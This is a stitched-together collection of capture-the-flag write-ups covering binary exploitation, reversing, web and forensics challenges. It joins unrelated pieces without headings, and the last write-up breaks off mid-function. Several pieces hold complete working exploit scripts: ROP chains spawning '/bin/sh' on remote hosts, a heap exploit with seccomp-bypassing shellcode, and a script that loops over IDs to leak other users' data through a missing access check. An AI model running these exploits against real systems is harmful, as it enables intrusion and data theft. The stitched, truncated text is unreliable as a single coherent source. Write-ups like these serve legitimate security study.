7513 jne 0x1101a0 | 0x0011018d 31c0 xor eax, eax | 0x0011018f 0f05 syscall | 0x00110191 483d00f0ffff cmp rax, 0xfffffffffffff000 ,==< 0x00110197 7757 ja 0x1101f0 || 0x00110199 f3c3 ret We're not concerned about the ja since that branch will only be taken if the system call returns an error. This is effectively a syscall; ret sequence at offset 0x11018f. We can edit the lowest byte 0x80 of the read() GOT entry to 0x8f to point it to this gadget by using the read() PLT entry. However, since we don't have control of rdx, the read size will have to be 0xaa. We can simply enter one byte only to make this read only one byte. We add the following call to our stack payload: read@PLT(1,ptr_got_read,0xaa) After this call, we can use the write() system call to get a leak. Since read() read in only one byte, rax is equal to 1. If we immediately use the syscall gadget, this will be a write() system call. write(1,ptr_got_read,0xaa) This will get us a libc pointer leak. Now we need to call read() again to load "/bin/sh" and the other two execve() args somewhere in preparation for execve(). In the vuln() function the assembly looks something like this: mov eax,0call read@PLT We can use this to call read despite having overwritten the read() GOT entry. Finally, we invoke vuln() using the last return pointer of this payload to get a new payload onto the stack to call execve(). Here is the full exploit script:``` #!/usr/bin/env python3 from pwn import *import time #p = process("./one_and_a_half_man")p = remote("one-and-a-half-man.3k.ctf.to",8521) ptr_plt_read = 0x4004b0ptr_rel_read = 0x601018ptr_pop_rdi = 0x00400693ptr_pop_rsi_r15 = 0x00400691ptr_vuln = 0x4005b7ptr_buf = 0x601070ptr_read_gadget = 0x4005cb buf = b'A' * 10buf += p64(ptr_buf)buf += p64(ptr_pop_rsi_r15) + p64(ptr_rel_read) + p64(0)buf += p64(ptr_plt_read)buf += p64(ptr_pop_rdi) + p64(1)buf += p64(ptr_plt_read)buf += p64(ptr_pop_rsi_r15) + p64(ptr_buf) + p64(0)buf += p64(ptr_read_gadget) p.send(buf + bytes(0xaa - len(buf)))p.send(b'\x8f') s = p.recvn(0xaa)ptr_leak = int.from_bytes(s[:8],"little")ptr_libc = ptr_leak - 0x11018f print(hex(ptr_libc))#sys.stdin.readline() ptr_pop_rax = ptr_libc + 0x43a78ptr_pop_rdx = ptr_libc + 0x1b96ptr_syscall = ptr_libc + 0x13c0 buf = p64(ptr_buf)buf += p64(ptr_pop_rax) + p64(59)buf += p64(ptr_pop_rdx) + p64(0)off = 0x58buf += p64(ptr_pop_rdi) + p64(ptr_buf + off)buf += p64(ptr_pop_rsi_r15) + p64(ptr_buf + off + 8) + p64(0)buf += p64(ptr_syscall)buf += b"/bin/sh\x00"buf += p64(ptr_buf + off) + p64(0) p.send(buf) p.interactive() ```
We're given an asm file and a comment on how to compile it. Let's open up Ghidra, but just know that the decompilation isn't going to be completely accurate. In Ghidra, main won't be a function by default, so press d on the first instruction to convert it to code. ```cvoid UndefinedFunction_0001121c(int param_1, int param_2) { ushort *puVar1; ushort uVar2; uint uVar3; char *__format; ushort *puVar4; int iVar5; uint *puVar6; uint uVar7; __format = "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n"; if (param_1 == 2) { puVar6 = *(uint **)(param_2 + 4); iVar5 = -1; do { iVar5 = iVar5; iVar5++; } while ((*(byte *)((int)puVar6 + iVar5) & 0x7f) != 0); if (0 < iVar5 - 0x19) { uVar7 = 0; puVar4 = (ushort *)0x1122c; iVar5 = 7; do { uVar2 = *puVar4; puVar1 = puVar4 + 2; puVar4 = (ushort *)((int)puVar4 + 0xd); uVar3 = crc32(CONCAT22((ushort)((((uint)uVar2 & 0xff00) << 8) >> 0x10) | (ushort)(((uint)uVar2 << 0x18) >> 0x10), CONCAT11((char)*puVar1, (char)(*puVar1 >> 8))), *puVar6); uVar7 = uVar7 | uVar3 ^ *puVar6; puVar6++; iVar5--; } while (iVar5 != 0); __format = "Flag is correct! Good job!\n"; if (uVar7 == 0) goto LAB_000112bc; } __format = "Flag is not correct.\n"; }LAB_000112bc: printf(__format); return;}``` Okay, so the pass condition seems to be if uVar7 (edi) == 0 after the do while. This code seems confusing and probably didn't decompile well (iVar5 == iVar5?), so we can figure things out with debugging. Before we get started in IDA, you'll notice that it has the same problem as Ghidra where it's not able to detect a function. However, if we try to press p to convert it into a function, it fails. The red text seems to indicate that there's something up with this jump function. ![image-20200723144433090](https://irissec.xyz/uploads/2020-07-24/image-20200723144433090.png) It seems to go to somewhere in the middle of a defined instruction (???). If we right click and click manual, we can edit the instruction to get rid of the +1. Then p on the first instruction again will get graph view working. I was interested in what iVar5 was so I set a breakpoint after the first loop. ![image-20200721160911486](https://irissec.xyz/uploads/2020-07-24/image-20200721160911486.png) We find out that the value in ebp at this point is 0x1d, the length of a dummy input parameter I gave it before I started it. ![image-20200721161012900](https://irissec.xyz/uploads/2020-07-24/image-20200721161012900.png) Later, we see it has 0x1a subtracted from it, then 0x1 later on. So the length of our string probably needs to be 0x1b (27) or greater (not 0x19 like Ghidra shows). Now to focus on how uVar7 (edi) is set (to zero). ![image-20200721161626491](https://irissec.xyz/uploads/2020-07-24/image-20200721161626491.png) Hmm, so edi is set by oring edx, so edx must always be 0 for edi to stay 0 as well. And for edx to be 0, [esi] have to be the same value. This is interesting, because of the crc32 right above. [Let's look at the docs](https://www.felixcloutier.com/x86/crc32) for this. > Starting with an initial value in the first operand (destination operand), accumulates a CRC32 (polynomial 11EDC6F41H) value for the second operand (source operand) and stores the result in the destination operand. The source operand can be a register or a memory location. The destination operand must be an r32 or r64 register. If the destination is an r64 register, then the 32-bit result is stored in the least significant double word and 00000000H is stored in the most significant double word of the r64 register. Okay, so edx _is_ actually input which is really weird (I'll call it the crc "seed"). For us to pass, this condition must be true: `crc32(edx, [esi]) == [esi])`. In other words, the result of crc32 should also be it's input. Also something weird: edx, the seed, is calculated by using values from [ebx] and [ebx + 4]. We can see ebx is initialized to `loc_5663522A+2` which points to the assembly code bytes. What that means is that the flag is encoded in the assembly itself. Now we could calculate edx ourselves, or we could just debug it and see what the values end up being. edx is never permanently affected by our input, so we can just put in garbage and see what edx ends up being at that specific position. ![image-20200721164034892](https://irissec.xyz/uploads/2020-07-24/image-20200721164034892.png) Here's what edx looks like on the first go. So now we need a way to calculate what crc32 values equal themselves. We could write an assembly program to do that and uses the crc32 instruction, but eh, who uses assembly these days. We can just write it in c. Back on the assembly page, we see there's a c equivalent: ```Intel C/C++ Compiler Intrinsic Equivalentunsigned int _mm_crc32_u8( unsigned int crc, unsigned char data )unsigned int _mm_crc32_u16( unsigned int crc, unsigned short data )unsigned int _mm_crc32_u32( unsigned int crc, unsigned int data )unsinged __int64 _mm_crc32_u64( unsinged __int64 crc, unsigned __int64 data )``` Since edx/esi is 4 byte, we'll use the u32 version. crc32 is pretty fast, so we can just brute force the values (thankfully it's not u64 :D). ```c#include <stdio.h>#include <stdint.h>#include <intrin.h> int main(int argc, char *argv[]) { unsigned int seed = strtoul(argv[1], NULL, 16); for (int i = 0; i < 0xfffffffe; i++) { unsigned int res = _mm_crc32_u32(seed, i); if (res == i) { printf("%08x\n", res); return 0; } } printf("fail\n"); return 0;}``` Let's compile it with gcc: ```C:\Users\notrly\Documents\uiuctf>gcc crccalc.c -o crccalcIn file included from C:/msys64/mingw64/lib/gcc/x86_64-w64-mingw32/9.3.0/include/immintrin.h:37, from C:/msys64/mingw64/lib/gcc/x86_64-w64-mingw32/9.3.0/include/x86intrin.h:32, from C:/msys64/mingw64/x86_64-w64-mingw32/include/intrin.h:73, from crccalc.c:3:crccalc.c: In function 'main':C:/msys64/mingw64/lib/gcc/x86_64-w64-mingw32/9.3.0/include/smmintrin.h:839:1: error: inlining failed in call to always_inline '_mm_crc32_u32': target specific option mismatch 839 | _mm_crc32_u32 (unsigned int __C, unsigned int __V) | ^~~~~~~~~~~~~crccalc.c:8:22: note: called from here 8 | unsigned int res = _mm_crc32_u32(seed, i); | ^~~~~~~~~~~~~~~~~~~~~~``` Hmm... Let's see why this is happening. A quick search comes up with https://stackoverflow.com/a/54654877. Because it's a cpu specific function, we need to use the `-mavx` flag to compile. Now that it's compiled, let's test that first value, `4C10E5F7`. ```C:\Users\notrly\Documents\uiuctf>crccalc 4c10e5f763756975``` That in ascii backwards is `uiuc`. Looks like we're on the right track! Let's step through with IDA and record the edx values right before crc32 is executed (see screenshot above). ```4c10e5f7f357d2d6373724ff90bbb46c34d98bf6d79ee67daa79007c``` And if we decode them using crccalc: ```4c10e5f7 - 63756975f357d2d6 - 617b6674373724ff - 6972635f90bbb46c - 74656b6334d98bf6 - 635f615fd79ee67d - 6b636172aa79007c - 007d7469``` And if we put those together in reverse order: `7569756374667b615f637269636b65745f615f637261636b69747d00` Which is: `uiuctf{a_cricket_a_crackit}`.
An executable with a few interesting twists. I’ve combined static analysis in ghidra with dynamic analysis in pwndbg to explore an anti-debugging check and self-modifying code hidden in addresses not assigned to a segment. In the end, there’s also a tidbit of AES-CBC crypto to recover the flag.
## Description`marsu` was a service that consisted of a [Django](https://www.djangoproject.com/) web server which allowed users to create accounts, projects, and "pads" within these projects -- sort of like smaller notes within a larger notepad. When viewing a project, all the pads and their content were shown. These pads contained the flag which the gameserver added and could only be viewed through a project. Below is the code that creates a project and adds the pads the user selected into it. Keep in mind that the pads have already been created as [Django](https://www.djangoproject.com/) models and there's nothing special or vulnerable there.```py@ensure_csrf_cookie@login_requireddef create(request): if request.method == 'POST': form = NewProjectForm(request.POST) if not form.is_valid(): return render(request, 'project/create.xml', {'form': form}) # TODO Step 2: confirm inviting new people proj = Project() proj.title = form.cleaned_data['title'] proj.save() proj.users.add(request.user) proj.save() for pk in form.cleaned_data['pad']: pad = Pad.objects.get(pk=pk) pad.project.add(proj) pad.save() return HttpResponseRedirect(reverse('project:view', args=(proj.id,))) else: form = NewProjectForm() return render(request, 'project/create.xml', {'form': form})``` ## ExploitationThe exploit comes in when the program loops through all added pads and attaches them directly to the project. There's no validation that these pads aren't already in other users' (such as the gameserver's) projects, meaning one can simply loop through and try to add every single pad to a new project in an attempt to leak the flag. Our exploit does the following: - Create an account - Create a new project with a single pad with `pk=160` (the appropriate value of the pad when we began the exploit) - Find the flag in the response's content - Create a new project with a single pad with `pk+=1` - Repeat - Stop if there's a gap of 30 non-existant `pk`s ```py#!/usr/bin/env python3 import reimport requestsimport secretsimport sys BASE_URL = 'http://[{ip}]:12345/'.format(ip=sys.argv[1])req = requests.Session() reflag = re.compile('(FAUST_[A-Za-z0-9/+]{32})') recsrf = re.compile('<input type="hidden" name="csrfmiddlewaretoken" value="(\w+)">')try: csrf = recsrf.search(req.get(BASE_URL + 'accounts/register').content.decode()).group(1)except AttributeError: raise SystemExit username = secrets.token_hex()[:10]password = secrets.token_hex()[:25] try: a = req.post( BASE_URL + 'accounts/register', cookies={'csrftoken': csrf}, data={'csrfmiddlewaretoken': csrf, 'username': username, 'password1': password, 'password2': password} )except Exception: raise SystemExitelse: if a.status_code != 200: raise SystemExit i = 160last_flag = 0failed = 0while failed < 30: v = req.post( BASE_URL + 'p/create/', cookies={'csrftoken': csrf}, data={'csrfmiddlewaretoken': csrf, 'title': secrets.token_hex(), 'pad': '[{}]'.format(i), 'people': ''} ) a = reflag.search(v.content.decode()) if v.status_code != 200: failed += 1 else: failed = 0 if a is not None: print(a.group(1)) last_flag = i i += 1 print('Last flag: ', last_flag)```This exploit script can actually be improved significantly by only trying the last few `pk`s (the last of which can be found by creating a new pad and looking at its `pk`) since we only care about new flags. Trying to add all the pads at once instead of going one at a time could also be done to improve speed and is what another team did. This can be seen in saarsec's writeup [here](https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html). (This is also susceptible to spamming pads which would put the valid flags out of the 20 pad checking range. In practice, this either never occurred or had little impact.) ## PatchingNow that we know the exploit, we need to come up with a patch. We made it a little over complicated, mainly because we didn't want to risk losing SLA points while also preventing attacks. Our patch was to change the contents of the for loop as such:```diff for pk in form.cleaned_data['pad']:+ try:- pad = Pad.objects.get(pk=pk)+ pad = Pad.objects.get(Q(project=None)|Q(project__users__in=[request.user]), pk=pk)+ except Pad.DoesNotExist:+ continue pad.project.add(proj) pad.save()``` This meant that only pads which didn't belong to a project or those that belonged to a project that the user *also* belonged to could be added to the new project. From [saarsec's writeup](https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html) it looks like simply checking that the project was `None` was just as effective. The `try`-`except` was completely unnecessary and actually a bad idea because it could let attackers add every single pad at once and only existing ones would get accepted, leaking everything at once -- bad thought on my part. ---
![](https://images.sandcat.nl/index.php?action=view&id=746) The challenge provides us with a python script bells.py. Running this script it asks for a number and tells us the outcome. Looking at the script it will display "**Nice you got it, your flag is the value you initally got in the form 'uiuctf{NUMBER_YOU_GOT}'**" If the correct number is entered.There's basically just a bunch of calculations and conversions going on with a set final string which is expected 'Lmao'. It is now possible to work back from that to get to the number of bells Tom Nook has; Tools used:* windows calculator (with scientific notations enabled)* http://www.asciitable.com/ Read the code and comments from bottom to top, as I started with the expected outcome 'Lmao' and worked my way back to what *guess* is expected.Inbetween every processing step I have included the content(s) of guess. ```print('Input a Number Below to guess how many bells Tom Nook has :)')guess = Nonetry: guess = int(input())except: print("No silly that is wrong, you need a number.") exit()try: # guess = 1293869277 -> flag: uiuctf{1293869277} # -2410619 for tax3 in range(0,1234): guess -= 1337 + tax3 # guess = 1291458658 guess = str(hex(int(guess)))[2:] # convert the integer to a hexadecimal string # guess = '4CFA1862' # split the string in two and put the last 4 character before the first 4 characters guess = str(guess[4:8]) + str(guess[0:4]) # guess = '18624CFA' guess = int(guess,16) # interpret guess as hexadecimal thus converting to an integer # guess = 409095418 for tax4 in range(18,30,2): guess = int((str(hex(guess)[2:])[::-1]),16) - tax4 * 1000 # magic # final step (28) to get to 457253818 to determine logic: # -(28 * 1000) guess = 457281818 :add tax # convert that to hex: 1B41911A :to hex # reverse that hexadecimal string: A11914B1 :reverse # which is 2702775473 :to dec # # reversing the remaining steps: # add tax to hex reverse to dec # 26: 2702775473 + 26000 = 2702775473 -> A1197A41 -> 14A7911A -> 346525978 # 24: 346525978 + 24000 = 346549978 -> 14A7EEDA -> ADEE7A41 -> 2918087233 # 22: 2918087233 + 22000 = 2918109233 -> ADEED031 -> 130DEEDA -> 319680218 # 20: 319680218 + 20000 = 319700218 -> 130E3CFA -> AFC3E031 -> 2948849713 # 18: 2948849713 + 18000 = 2948849713 -> AFC42681 -> 18624CFA -> 409095418 # guess = 457253818 # -5970000 for tax5 in range(0,1000,5): for tax4 in range(10,40,10): guess -= tax5 * tax4 # guess = 451283818 guess = str(hex(guess)[2:]) # convert to hexadecimal # guess = '1AE60B6A' # split the string per 2 characters and convert them from hex into a decimal array guess = [int(guess[i:i+2],16) for i in range(0,len(guess),2)] # guess = [26, 230, 11, 106] # sorting the caculations per array element and having them line by line: guess[0] *= 3 # *3 guess[0] += int((ord('j') - ord('J')) / (ord('E') - ord('e'))) # -1 guess[0] += int((ord('g') - ord('G')) / (ord('z') - ord('Z')) * ord('c') - ord('a')) # +2 guess[1] /= 2 # /2 guess[1] -= 18 # -18 guess[2] += ord('b') # +98 guess[3] -= 30 # -30 # guess = [79, 97, 109, 76] guess = [hex(int(g)) for g in guess][::-1] # reverse the array and convert from int to hex # guess = ['4C','6D','61','4F'] guess[3] = hex(int(guess[3],16) + 32) # +32 for guess[3] # guess = ['4C','6D','61','6F'] ('L','m','a','o') final = '' for i in range(len(guess)): final += chr(int(guess[i],16)) # convert the array entries from hex to character and form them into a string if final == 'Lmao': print("Nice you got it, your flag is the value you initally got in the form 'uiuctf{NUMBER_YOU_GOT}'") else: print("Good try but your ending value was " + final + " try again <3") print("\n")except: print("Your guess was so wrong you broke the guessing machine. Good try, but try again <3") ```
This challenge was a really broken implementation that tries to match ptmalloc. As a result we can easily obtain overlapping chunks, clobber tcache fds, and use a single ptmalloc allocation to dup over malloc/freehook and trigger one gadget. See solve script.
A web based task which needed us to obtain a flag via some unknown means - view an actual indepth walkthrough at my original writeup https://techteaching.webflow.io/posts/cccctf-web-forensics
Since faker, linker, and linker_revenge are quite similar, this writeup will cover all three. This is the faker checksec output: Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) seccomp additionally restricts syscalls to openat(),read(),write(),mprotect(),mmap() All three executables have the same basic functionality in pseudocode: ```alloc(size): idx = 0; while(!buf_in_use[idx]) idx++; if(idx >= 5) fail(); buf_in_use[idx] = true; buf[idx] = calloc(size); buf_size[idx] = size; delete(idx): free(idx); buf_in_use[idx] = false; edit(idx): if(buf_in_use[idx]) read(buf[idx],buf_size[idx]); The globals are laid out like this: int32_t buf_size[8];uint32_t buf_in_use[8];void* buf[8];``` Note that indices 5-7 are inaccessible, the array sizes are for proper alignment. The main differences between the three are as follows: - faker requires that size <= 0x70 in alloc()- linker does not have seccomp- linker_revenge has a function that does puts(buf[idx]) We avoid using puts(buf[idx]), and futher restrict alloc() to size <= 0x70 We first obtain arbitrary write by overwriting the global `buf*` structures. We do this by setting buf_size[0] = 0x61 and buf_size[1] = 0 by allocating buffers to create a fake fastbin chunk of size 0x50. We then fill the tcache of size 0x50 by alloc()'ing and free()'ing a buffer of size 0x50 repeatedly. Since calloc() skips the tcache, we are effectively stashing freshly allocated chunks into the tcache. Then we allocate and free a buffer of size 0x50 which goes into the fastbin. We can then exploit a UAF in edit() to point the fd pointer to our fake chunk. We can then allocate the fake chunk. From here we can write to `(void*)&buf_size[2]`. We overwrite buf[0] = `(void*)buf_size` to set up another write that can overwrite all of the global structures. We then use this write to set` buf_size[i] = INT_MAX`, `buf_in_use[i] = true`, and keep `buf[0] = (void*)buf_size` so we can always overwrite the global structures again for another arbitrary read/write if we need to. We now use our arbitrary write to obtain arbitrary read by setting free()'s GOT entry to puts@PLT. If we free() a index now, it will instead puts() the contents of the buffer. We use our arbitrary read to leak a libc pointer from the GOT, and leak the `__environ` pointer in the libc to get a pointer to the stack. Now we deploy shellcode to a RW page, and write a ROP payload to call mprotect() to make the shellcode executable and exeucute it. Since the offset between `__environ` and the current stack pointer can be very system dependent, we need to add a "nop sled" to the ROP payload. We can do this by prepending the payload with a lot of pointers to a ret instruction, which instantly returns to the next pointer on the stack and does nothing. The shellcode just does the following to get around seccomp: ```fd = openat(AT_FDCWD,"flag",O_RDONLY);num_read = read(fd,rsp,0x1000);write(1,rsp,num_read)``` Here is the actual assembly shellcode: ```mov rax,257mov rdi,4294967196lea rsi,[rip + filename_flag]xor rdx,rdxsyscallmov rdi,raxxor rax,raxmov rsi,rspmov rdx,0x1000syscallmov rdx,raxmov rax,1mov rdi,raxsyscallfilename_flag:.asciz "flag"``` Here is the full exploit for faker(offsets must be changed for the other ones): ```#!/usr/bin/env python3 from pwn import *import sys #p = process("./faker")p = remote("faker.3k.ctf.to",5231) def cmd(num): p.recvuntil(b"> ") p.sendline(str(num)) p.recvuntil(b":\n") def alloc(size): cmd(1) p.send(str(size)) s = p.recvline() i = s.rindex(b' ') return int(s[i:]) def edit(idx,buf): cmd(2) p.sendline(str(idx)) p.recvuntil(b":\n") p.send(buf) def free(idx): cmd(3) p.sendline(str(idx)) def view(idx): free(idx) end_txt = "1- Get new blank page" s = p.recvuntil(end_txt) s = s[:-len(end_txt) - 1] return s ptr_rel_memcpy = 0x602068ptr_rel_free = 0x602018ptr_plt_puts = 0x4008c0ptr_fake_fast = 0x6020d8ptr_ptrs = 0x6020e0ptr_name = 0x602150ptr_pop_rsi_r15 = 0x00401121ptr_pop_rdi = 0x401123ptr_ret = 0x401124 off_memcpy = 0x18ed40off_system = 0x000000000004f4e0ptr_buf = 0x602200ptr_buf_page = 0x602000sz = 0x50 p.recvuntil(":\n")p.sendline(b'008')p.send(b"/bin/sh\x00") for i in range(7): alloc(sz) free(0) alloc(sz + 0x11)alloc(0) alloc(sz)free(2)edit(2,p64(ptr_fake_fast)) alloc(sz)alloc(sz)edit(3,p32(0x7fffffff) * 3 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3) + p64(0) * 2 + p64(ptr_ptrs)) buf_pre = p32(0x7fffffff) * 5 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3)edit(2,buf_pre + p64(ptr_ptrs) + p64(ptr_rel_memcpy) + p64(ptr_rel_free)) edit(2,p64(ptr_plt_puts)) ptr_memcpy = int.from_bytes(view(1),"little")ptr_libc = ptr_memcpy - off_memcpyptr_environ = ptr_libc + 0x00000000003ee098ptr_pop_rax = ptr_libc + 0x43a78ptr_pop_rdx = ptr_libc + 0x1b96ptr_syscall = ptr_libc + 0x13c0ptr_mprotect = ptr_libc + 0x000000000011bc00 print(hex(ptr_libc)) edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_environ))ptr_leak_stack = int.from_bytes(view(1),"little") print(hex(ptr_leak_stack - 0x400)) edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_buf) + p64(ptr_leak_stack - 0x200))with open("shell","rb") as shell_f: shellcode = shell_f.read()edit(1,shellcode) buf = p64(ptr_ret) * (0x100 // 8)buf += p64(ptr_pop_rdi) + p64(ptr_buf_page)buf += p64(ptr_pop_rsi_r15) + p64(0x1000) + p64(0)buf += p64(ptr_pop_rdx) + p64(5)buf += p64(ptr_mprotect)buf += p64(ptr_buf)edit(2,buf) p.interactive()```
[Original Writeup](https://gist.github.com/kiror0/c39d0df167405c606ebd52fa48b0fb86) The challenge itself doesn't have any source attached, but when you solve the challenge you'll notice there's `src/` folder which I have included for simplicity. ```Fill your jars, then start the game and see if your friends can guess where the prize is!Main Menu:1. Add a jar2. Remove Jar3. View Jars4. Modify Jar5. Start Game6. Set AnswerChoice: ``` The program almost looks like a heap note challenge where there's add, delete, edit, and view. There are 2 added functionality, which is set answer and start the game. Set Answer basically malloc a struct which contain functions pointer and set the index of jar which will be the key to correct answer when start the game. Start Game is just execute the function from the pointer with the parameter in it. By analyzing the main function from binary in ghidra, you'll notice there's an inlined strcpy at the beginning, It turns out the string will be used for `printf` as format string. ```c... format_string._0_8_ = 0x746e6f432072614a; format_string._8_8_ = 0x7325203a73746e65; format_string[16] = '\0';... case 3: i = 0; while ((uint)i < njars) { printf(format_string,jars[i],jars[i]); i = i + 1; } break;... ```This is useful for later (fmt string) if we chain this with another bug, which is buffer overflow. ```c... char buffer [32]; char format_string [17];... default:LAB_004008ae: puts("Choice: "); fgets(buffer,0x28,stdin); choice = atoi(buffer); goto LAB_004008e5; }...``` Notice that our `buffer` is \[32\] while the input is 0x28 or 40 in decimal. This is perfect because `format_string` is aligned next to our `buffer`. Ok, that's a cool 8 byte controlled fmt string payload. But, the thing is our input uses `fgets` which include a null byte at the end of input, :| Now we only have 7 byte controlled fmt string payload, is that enough? **absolutely**. The idea is to use `%s%..$hn` and `%c%..$hn` instead of `%Nc%..$hhn` (where `N` is our desired target data), also, because `printf` is called with```c printf(format_string,jars[i],jars[i]);```This is easier for us because we don't need any addr leak to be used for our `%s` payload. Just edit the last jar with a string length match our desired target data. We do need a libc leak for system though, and again since we have fmt string just locate the `__libc_start_main_ret` offset in the stack then we are good to go. Although we have fmt string, we only have 7 byte as the payload which only enough for a `%s%9hn`, a 2 byte wide write and our jar only fit to 0xF8 bytes which is 1 byte wide with `%s`. Even if we have an overwrite it's 1 only byte with a null byte appended. To visualize what is happening with `write64`, suppose we want to overwrite a value to 0xdeadbeef at some address ```0x603250 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 ... write8(0x603250, 0xef)0x603250 ef 00 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 ... write8(0x603251, 0xbe)0x603250 ef be 00 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 ... write8(0x603252, 0xad)0x603250 ef be ad 00 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 ... write8(0x603253, 0xde)0x603250 ef be ad de 00 06 07 08 09 0a 0b 0c 0d 0e 0f 10``` With that we have a powerfull arbitrary write, the last step is only overwrite function pointer in the heap to system and start the game.
# CyBRICS 2020 Krevedka by klanec Category: ForensicsDifficulty: EasyPoints: 50> Author: Artur Khanov (@awengar)>>Some user of our service hacked another user.>>Name of the victim user was 'caleches'. But we don't know the real login of the attacker. Help us find it! We receive a large packet capture showing a lot of users interacting with a web service. ## The SolutionFirst, examine all login attempts from the user 'caleches' by searching the packets in wireshark until we identify the malicious log in ![sqli](https://raw.githubusercontent.com/RGBsec/CTFs2020/master/CyBRICSCTF2020/forensics/krevedka/malicious_login.png) Notice the SQL injection in the password field. It is highly likely that this is the user who hacked into calecheses account. If we search for the user agent, we find another user logging in with an identical one: ![u-agent](https://raw.githubusercontent.com/RGBsec/CTFs2020/master/CyBRICSCTF2020/forensics/krevedka/u-agent.png) flag: `cybrics{micropetalous}`
1. check out interesting paths like `/console` 2. Wow, we found flask app debugger `http://jh2i.com:50018/console` 3. Try send something, if you got 404 error just try again (many time) 4. Ok, we can automate it 5. Read about flask debugger and `DEBUG=True` mode 6. Write your exploit solution script: [solution.py](https://github.com/wetox-team/writeup/blob/master/hacktivitycon/ladybug/solution.py) app src: [main.py](https://github.com/wetox-team/writeup/blob/master/hacktivitycon/ladybug/main.py) flag is `flag{weurkzerg_the_worst_kind_of_debug}`
1. Check first 3-4 n value 2. Google it 3. It's perfect numbers ([wiki](https://en.wikipedia.org/wiki/Perfect_number)) 4. Find first 14 perfect numbers in the internet ([perfect numbers list](https://web.archive.org/web/20090503154707/http://amicable.homepage.dk/perfect.htm)) 5. `plain_text[i] == cipher[i] ^ perfect_number[i]` solution script: [solution.py](https://github.com/wetox-team/writeup/blob/master/hacktivitycon/perfect_xor/solution.py) flag is `flag{tHE_br0kEN_Xor}`
# Moneylovers### Challenge Text > Author: Artur Khanov ([@awengar](https://t.me/awengar))> We captured a transmission between a client and his bank. Help us hack it> [**moneylovers.tar.gz**](https://cybrics.net/files/moneylovers.tar.gz) ### Challenge Work Looking at the packet capture we see that this is a ton of TLSv1.2 connections, as if somebody is connecting to the same place over and over. Looking closely we do see it is reaching out to a public IP address.... `https://95.217.22.76/` ![webscreen](https://raw.githubusercontent.com/turnipsoup/ctfwriteups/master/cybric2020/moneylovers/webscreen.png) Looking at the source code of this page we notice this odd bit: ```js$(document).ready(function() { $("#kb").click(function(e){ var mx = e.offsetX; var my = e.offsetY; $.ajax({ type: "POST", url : "/key", data: JSON.stringify({x : mx, y: my}), contentType: "application/json", complete: function (a){ if (a.responseJSON.status == "OK"){ $("#pas").val(a.responseJSON.key); } if (a.responseJSON.status == "FLAG"){ $("#bb2").hide();$("#pas").hide();$("#kb").hide(); $("#getflag").css("display","block"); } } }); }); $("#getflag").click(function(){ $.ajax({ type: "GET", url : "/getflag", complete: function (a){ if (a.responseJSON.status == "OK"){ $("#bb5").html(a.responseJSON.flag); } else{ $("#bb5").html("Forbidden"); } } }); });});``` It seems that every single time we are pressing a button in the keypad a POST request is made to the server at the `/key` endpoint. Extrapolating from this, it seems our packet capture is an excrypted exchange of the key here in this manner. After trying all sorts of stuff from Postman to `dirsearch` I finally decided to try entering a different protocol: `ftp://95.217.22.76/`: ```Index of ftp://95.217.22.76/ Up to higher level directoryName Size Last ModifiedFile:log.txt 289 KB 7/13/20 9:25:00 AM PDT``` Looking at log.txt, it appears to be a Master-Secret log, something that Wireshark explicitly accepts... We loaded this into Wireshark via `Preferences > TLS > (Pre)-Master-Secret log filename` and now we could see POST requests in plain text. I exported the POST packets to JSON via Wireshark, and then extracted the click data: ```pythonimport json json_file = json.loads(open("clicks.json","r").read()) for a in json_file: click_info = a["_source"]["layers"]["http"]["http.file_data"] print(click_info)``` My teammate Unblvr then took this info and repeated the clicks to get the flag: ```pythonfrom requests import sessionimport json inputs = [ {"x":383,"y":28}, {"x":333,"y":101}, {"x":113,"y":58}, {"x":653,"y":50}, {"x":588,"y":27}, {"x":355,"y":141}, {"x":385,"y":59}, {"x":290,"y":185}, {"x":111,"y":63}, {"x":448,"y":20}, {"x":141,"y":103}, {"x":342,"y":105}, {"x":92,"y":59}, {"x":92,"y":59}, {"x":168,"y":17}, {"x":248,"y":179}, {"x":206,"y":149}, {"x":324,"y":13}, {"x":421,"y":139}, {"x":143,"y":106}, {"x":639,"y":10}, {"x":288,"y":100}, {"x":318,"y":64}, {"x":331,"y":186}, {"x":409,"y":153}, {"x":483,"y":110}, {"x":43,"y":22}, {"x":459,"y":57}, {"x":108,"y":53}, {"x":285,"y":104}, {"x":248,"y":15}, {"x":301,"y":185}, {"x":648,"y":56}, {"x":253,"y":27}, {"x":258,"y":63}, {"x":552,"y":108}, {"x":106,"y":20}, {"x":557,"y":145}, {"x":584,"y":54}] s = session()s.get("https://95.217.22.76/", verify=False)URL = "https://95.217.22.76/key"for inp in inputs: r = s.post(URL, json=inp, verify=False) print(r.text) print(s.get("https://95.217.22.76/getflag", verify=False).text) ``` > cybrics{B4NK_S4V35_U_M0N3Y}
# CSICTF2020 - Blaise ## Description`I recovered a binary from my teacher's computer. I tried to reverse it but I couldn't.` ## AnalysisFirst, I ran the code. ```Shelld@d:~$ ./blaise16``` At this point, it was not clear what the executable did or wanted, so I entered random numbers until the process finished. It ended up exiting with no message. Unsure what the binary did, I decompiled it with Ghidra. Below is the `main` function after some tidying: ```Cint main(void) { time_t rseed; ulong x; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); rseed = time((time_t *)0x0); srand((uint)rseed); x = display_number(0xf,0x14); process((int)x); return 0 }``` `main` sets a seed for a random number generator and calls `display_number` (decompiled below). ```Culong display_number(int arg1,int arg2) { int x; uint ret; x = rand(); ret = arg1 + x % ((arg2 - arg1) + 1); printf("%d\n",(ulong)ret); return (ulong)ret;}``` `display_number` just uses the random number generator to get a number. Following the list of functions called in `main`, I looked at `process` (decompiled below). ```Cint process(int x) { long key; long in_FS_OFFSET; int local_1c; int i; long lVar1; bool flag; lVar1 = *(long *)(in_FS_OFFSET + 0x28); flag = true; i = 0; while (i <= x) { 